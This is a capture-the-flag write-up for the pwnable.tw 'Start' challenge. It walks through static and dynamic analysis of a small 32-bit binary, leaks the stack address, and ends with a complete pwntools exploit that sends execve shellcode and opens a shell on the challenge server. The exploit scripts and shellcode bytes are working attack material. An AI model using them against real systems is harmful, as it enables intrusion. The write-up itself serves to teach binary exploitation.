Pwnable.tw Level 1 - Start
Pwnable.tw Level 1 - Start
Challenge
Start [100 pts]
Just a start.
nc chall.pwnable.tw 10000
We have to obtain a flag by exploiting the given binary
Static Analysis
Lets check the file properties using file
and checksec
and readelf
user@ctf:~/Downloads$ file orw
orw: ELF 32-bit LSB executable, <br>
Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
./checksec.sh --file ./start
user@ctf:~/Downloads$ ./checksec.sh --file ./start
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./start
user@ctf:~/Downloads$ readelf -l start
Elf file type is EXEC (Executable file)
Entry point 0x8048060
There are 1 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x08048000 0x08048000 0x000a3 0x000a3 R E 0x1000
Section to Segment mapping:
Segment Sections...
00 .text
So the file doesn’t seem to have ASLR
or canary
Even though checksec
mentions that stack is non executable, there is no GNU STACK
header so the stack is
executable.
Lets try disassembling the program using objdump
objdump -d start -M intel
user@ctf:~/Downloads$ objdump -d start -M intel
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp
8048089: b2 14 mov dl,0x14
804808b: b3 01 mov bl,0x1
804808d: b0 04 mov al,0x4
804808f: cd 80 int 0x80
8048091: 31 db xor ebx,ebx
8048093: b2 3c mov dl,0x3c
8048095: b0 03 mov al,0x3
8048097: cd 80 int 0x80
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
80480a1: cd 80 int 0x80
So all that the program does is that it prints some text and then read input from the user
Lets check if we can cause a buffer overflow
user@ctf:~/Downloads$ ./start
Let's start the CTF:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Dynamic Analysis
Lets analyze the program using gdb
gdb-peda$ disas _start
Dump of assembler code for function _start:
0x08048060 <+0>: push esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
End of assembler dump.
gdb-peda$ break *_start+57
Breakpoint 1 at 0x8048099
gdb-peda$ r
Starting program: /home/itpc/Downloads/start
Let's start the CTF:AAAABBBB
[----------------------------------registers-----------------------------------]
SNIPPPED
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048099 in _start ()
gdb-peda$ x/20wx $esp
0xffffd114: 0x41414141 0x42424242 0x2074720a 0x20656874
0xffffd124: 0x3a465443 0x0804809d 0xffffd130 0x00000001
0xffffd134: 0xffffd300 0x00000000 0xffffd31b 0xffffd326
0xffffd144: 0xffffd338 0xffffd368 0xffffd37e 0xffffd3af
0xffffd154: 0xffffd3c0 0xffffd3d4 0xffffd3e4 0xffffd407
If we look at the stack after the read we can see return value at offset 20 form our input (input was AAAABBBB
) and the saved esp
is at offset 24. The saved esp
points to the value next to it
Now we have to find a value where we can point our shellcode
. Since the stack is unreliable we will have
to find a way to leak the stack address. We can leak the address by using the following ROP
chain
We can leak the stack address by pointing return
pointer to write
at 0x08048087
Take a look at the code below
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
First the value of esp
is copied to ecx
and then write
syscall is made. If we overwrite return
with
0x08048087
the program will write the value pointed by esp
which will be the saved esp
.
And now write
comes again and we can overflow again and add shellcode
and overwrite the return
value to point to our shellcode.
our shell code will be at leaked esp+20
I wrote a script to try it first
from pwn import *
r = remote('chall.pwnable.tw', 10000)
buf="A"*20
buf+=p32(0x08048087)
r.recvuntil('CTF:')
r.send(buf)
esp=u32(r.recv()[:4])
print ("[+]ESP is at "+hex(esp))
user@ctf:~/Downloads/pwnable.tw$ python start.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
[+]ESP is at 0xffc8a790
We can see that we have successfully leaked the value of esp
Now lets put together the exploit
from pwn import *
def leak(r):
buf="A"*20
buf+=p32(0x08048087)
r.recvuntil('CTF:')
r.send(buf)
esp=u32(r.recv()[:4])
print ("[+]ESP is at "+hex(esp))
return esp
def exploit(esp):
buf="A"*20
eip=p32(esp+20)
#shellcode=asm(shellcraft.i386.linux.sh())
shellcode = shellcode = '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
payload=buf+eip+shellcode
print ("[+]Sending Payload")
r.send(payload)
r.interactive()
r = remote('chall.pwnable.tw', 10000)
esp=leak(r)
exploit(esp)
Lets run it
user@ctf:~/Downloads/pwnable.tw$ python start.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
[+]ESP is at 0xff846ad0
[+]Sending Payload
[*] Switching to interactive mode
$ cd /home/start
$ ls
flag
run.sh
start
And we have a shell. The flag is in the flag
file
solved!
After Thoughts
I am just a noob at binary exploitation and I found this challenge to be much more difficult that expected. And this
is my first time doing an ROP related exploit. (I know that its just a simple ROP). Also if you don’t know what
pwntools
is, do check it out. Its an awesome python library that makes exploitation really easy.